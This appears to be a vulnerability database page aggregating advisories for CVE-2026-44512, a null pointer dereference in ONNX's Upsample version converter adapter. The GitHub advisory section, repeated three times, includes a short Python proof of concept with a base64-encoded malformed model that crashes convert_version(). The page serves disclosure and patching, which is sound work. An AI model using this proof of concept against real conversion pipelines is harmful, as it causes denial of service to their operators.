Every CVE Search/ Get API key

CVE-2026-44512

ONNX: Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)

5.5 MediumFix available

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.version_converter.convert_version() can dereference a null pointer in Upsample_6_7::adapt_upsample_6_7() in onnx/version_converter/adapters/upsample_6_7.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.19%Unchanged since Jul 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.5

ONNX: Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.version_converter.convert_version() can dereference a null pointer in Upsample_6_7::adapt_upsample_6_7() in onnx/version_converter/adapters/upsample_6_7.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0.

Record
CVE-2026-44512
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
EUVDEUVD-2026-42355 5.5

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.version_converter.convert_version() can dereference a null pointer in Upsample_6_7::adapt_upsample_6_7() in onnx/version_converter/adapters/upsample_6_7.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0.

Record
EUVD-2026-42355
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-hwpq-hmq9-wj77 5.5

ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)

Summary

Null pointer dereference (SIGSEGV) in Upsample_6_7::adapt_upsample_6_7() (onnx/version_converter/adapters/upsample_6_7.h:31) when convert_version() processes a model with an Upsample node that has zero inputs. The adapter accesses node->inputs()[0]->sizes() without checking input count. 107-byte PoC crashes on Release build.

This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.

Details

The Upsample 6→7 adapter validates attributes but not inputs:

// upsample_6_7.h:20-33
void adapt_upsample_6_7(..., Node* node) const {
    ONNX_ASSERTM(
        node->hasAttribute(width_scale_symbol) && node->hasAttribute(height_scale_symbol),
        "...")  // Attribute check PASSES

    auto width_scale = node->f(width_scale_symbol);
    auto height_scale = node->f(height_scale_symbol);

    auto input_shape = node->inputs()[0]->sizes();
    //                 ^^^^^^^^^^^^^^^^^^^^
    //                 OOB when inputs().size() == 0 → SIGSEGV
}

The PoC has an Upsample node at opset 6 with the required width_scale and height_scale attributes but zero inputs. The attribute assertions pass, then node->inputs()[0] on an empty ArrayRef:

  • Release builds (NDEBUG): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV
  • Debug builds: assert(Index < Length) at array_ref.h:159 → SIGABRT

An Upsample node with zero inputs passes graphProtoToGraph() because the import code only resolves input names present in the protobuf.

PoC

import base64
import onnx
from onnx import version_converter

poc_b64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY="

model = onnx.load_from_string(base64.b64decode(poc_b64))

# CRASHES — Upsample_6_7 adapter dereferences empty inputs array
version_converter.convert_version(model, 7)  # SIGSEGV

107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).

Impact

Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV).

This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.

Record
GHSA-hwpq-hmq9-wj77
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
NVD 5.5

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.version_converter.convert_version() can dereference a null pointer in Upsample_6_7::adapt_upsample_6_7() in onnx/version_converter/adapters/upsample_6_7.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0.

Record
CVE-2026-44512
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
OSV 5.5

ONNX: Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.version_converter.convert_version() can dereference a null pointer in Upsample_6_7::adapt_upsample_6_7() in onnx/version_converter/adapters/upsample_6_7.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0.

Record
CVE-2026-44512
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
OSVDEBIAN-CVE-2026-44512 5.5

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.version_converter.convert_version() can dereference a null pointer in Upsample_6_7::adapt_upsample_6_7() in onnx/version_converter/adapters/upsample_6_7.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0.

Record
DEBIAN-CVE-2026-44512
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 4 moreShow less
OSVGHSA-hwpq-hmq9-wj77 5.5

ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)

Summary

Null pointer dereference (SIGSEGV) in Upsample_6_7::adapt_upsample_6_7() (onnx/version_converter/adapters/upsample_6_7.h:31) when convert_version() processes a model with an Upsample node that has zero inputs. The adapter accesses node->inputs()[0]->sizes() without checking input count. 107-byte PoC crashes on Release build.

This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.

Details

The Upsample 6→7 adapter validates attributes but not inputs:

// upsample_6_7.h:20-33
void adapt_upsample_6_7(..., Node* node) const {
    ONNX_ASSERTM(
        node->hasAttribute(width_scale_symbol) && node->hasAttribute(height_scale_symbol),
        "...")  // Attribute check PASSES

    auto width_scale = node->f(width_scale_symbol);
    auto height_scale = node->f(height_scale_symbol);

    auto input_shape = node->inputs()[0]->sizes();
    //                 ^^^^^^^^^^^^^^^^^^^^
    //                 OOB when inputs().size() == 0 → SIGSEGV
}

The PoC has an Upsample node at opset 6 with the required width_scale and height_scale attributes but zero inputs. The attribute assertions pass, then node->inputs()[0] on an empty ArrayRef:

  • Release builds (NDEBUG): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV
  • Debug builds: assert(Index < Length) at array_ref.h:159 → SIGABRT

An Upsample node with zero inputs passes graphProtoToGraph() because the import code only resolves input names present in the protobuf.

PoC

import base64
import onnx
from onnx import version_converter

poc_b64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY="

model = onnx.load_from_string(base64.b64decode(poc_b64))

# CRASHES — Upsample_6_7 adapter dereferences empty inputs array
version_converter.convert_version(model, 7)  # SIGSEGV

107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).

Impact

Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV).

This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.

Record
GHSA-hwpq-hmq9-wj77
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-476
Updated
2026-11-02
OSVPYSEC-2026-2689 5.5

ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)

Summary

Null pointer dereference (SIGSEGV) in Upsample_6_7::adapt_upsample_6_7() (onnx/version_converter/adapters/upsample_6_7.h:31) when convert_version() processes a model with an Upsample node that has zero inputs. The adapter accesses node->inputs()[0]->sizes() without checking input count. 107-byte PoC crashes on Release build.

This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.

Details

The Upsample 6→7 adapter validates attributes but not inputs:

// upsample_6_7.h:20-33
void adapt_upsample_6_7(..., Node* node) const {
    ONNX_ASSERTM(
        node->hasAttribute(width_scale_symbol) && node->hasAttribute(height_scale_symbol),
        "...")  // Attribute check PASSES

    auto width_scale = node->f(width_scale_symbol);
    auto height_scale = node->f(height_scale_symbol);

    auto input_shape = node->inputs()[0]->sizes();
    //                 ^^^^^^^^^^^^^^^^^^^^
    //                 OOB when inputs().size() == 0 → SIGSEGV
}

The PoC has an Upsample node at opset 6 with the required width_scale and height_scale attributes but zero inputs. The attribute assertions pass, then node->inputs()[0] on an empty ArrayRef:

  • Release builds (NDEBUG): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV
  • Debug builds: assert(Index < Length) at array_ref.h:159 → SIGABRT

An Upsample node with zero inputs passes graphProtoToGraph() because the import code only resolves input names present in the protobuf.

PoC

import base64
import onnx
from onnx import version_converter

poc_b64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY="

model = onnx.load_from_string(base64.b64decode(poc_b64))

# CRASHES — Upsample_6_7 adapter dereferences empty inputs array
version_converter.convert_version(model, 7)  # SIGSEGV

107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).

Impact

Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV).

This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.

Record
PYSEC-2026-2689
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-44512 5.5

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.version_converter.convert_version() can dereference a null pointer in Upsample_6_7::adapt_upsample_6_7() in onnx/version_converter/adapters/upsample_6_7.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0.

Record
UBUNTU-CVE-2026-44512
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVopenSUSE-SU-2026:12274-1 No score

libonnxruntime1-1.31.0-1.1 on GA media

These are all security issues fixed in the libonnxruntime1-1.31.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:12274-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
onnx
PyPI
1.9.0 up to 1.22.0
1.22.0
onnx
Debian:12
All versions, plus listed versions
1.12.0-21.13.1-11.13.1-21.13.1-31.14.1-1
Show 16 moreShow less
1.14.1-21.14.1-2.11.14.1-2.1~exp11.16.1-11.16.2-11.17.0-11.17.0-21.17.0-31.19.1-1~exp11.20.0-11.20.0-1~exp11.20.0-31.20.0-41.20.0-51.20.0-61.21.0-1
None known
onnx
Debian:13
All versions, plus listed versions
1.17.0-31.19.1-1~exp11.20.0-11.20.0-1~exp11.20.0-3
Show 4 moreShow less
1.20.0-41.20.0-51.20.0-61.21.0-1
None known
onnx
Debian:14
All versions, plus listed versions
1.17.0-31.19.1-1~exp11.20.0-11.20.0-1~exp11.20.0-3
Show 4 moreShow less
1.20.0-41.20.0-51.20.0-61.21.0-1
None known
onnx
PyPI
1.9.0 up to 1.22.0, plus listed versions
1.10.01.10.11.10.21.11.01.12.0
Show 25 moreShow less
1.13.01.13.11.14.01.14.11.15.01.16.01.16.11.16.21.17.01.18.01.19.01.19.11.19.1rc11.20.01.20.0rc11.20.0rc21.20.11.20.1rc11.21.01.21.0rc11.21.0rc21.21.0rc31.21.0rc41.22.0rc11.22.0rc2
1.22.0
onnx
Ubuntu:22.04:LTS
All versions, plus listed versions
1.7.0+dfsg-3build11.7.0+dfsg-3build21.7.0+dfsg-3ubuntu11.7.0+dfsg-3ubuntu2
None known
onnx
Ubuntu:Pro:24.04:LTS
All versions, plus listed versions
1.13.1-31.13.1-3build11.14.1-21.14.1-2.11.14.1-2.1build11.14.1-2.1build21.14.1-2.1ubuntu0.1~esm1
None known
onnx
Ubuntu:25.10
All versions, plus listed versions
1.17.0-3build1
None known
onnx
Ubuntu:26.10
All versions, plus listed versions
1.20.0-11.20.0-6
None known
onnx
Ubuntu:26.04:LTS
All versions, plus listed versions
1.17.0-3build11.20.0-1
None known
onnxruntime
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
before 1.31.0-1.1
1.31.0-1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-44512 is a medium vulnerability (CVSS 5.5) in Linuxfoundation Onnx, published July 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 8th percentile. Fixed in onnx 1.22.0.

References

Show 9 moreShow less
MoveEnter Open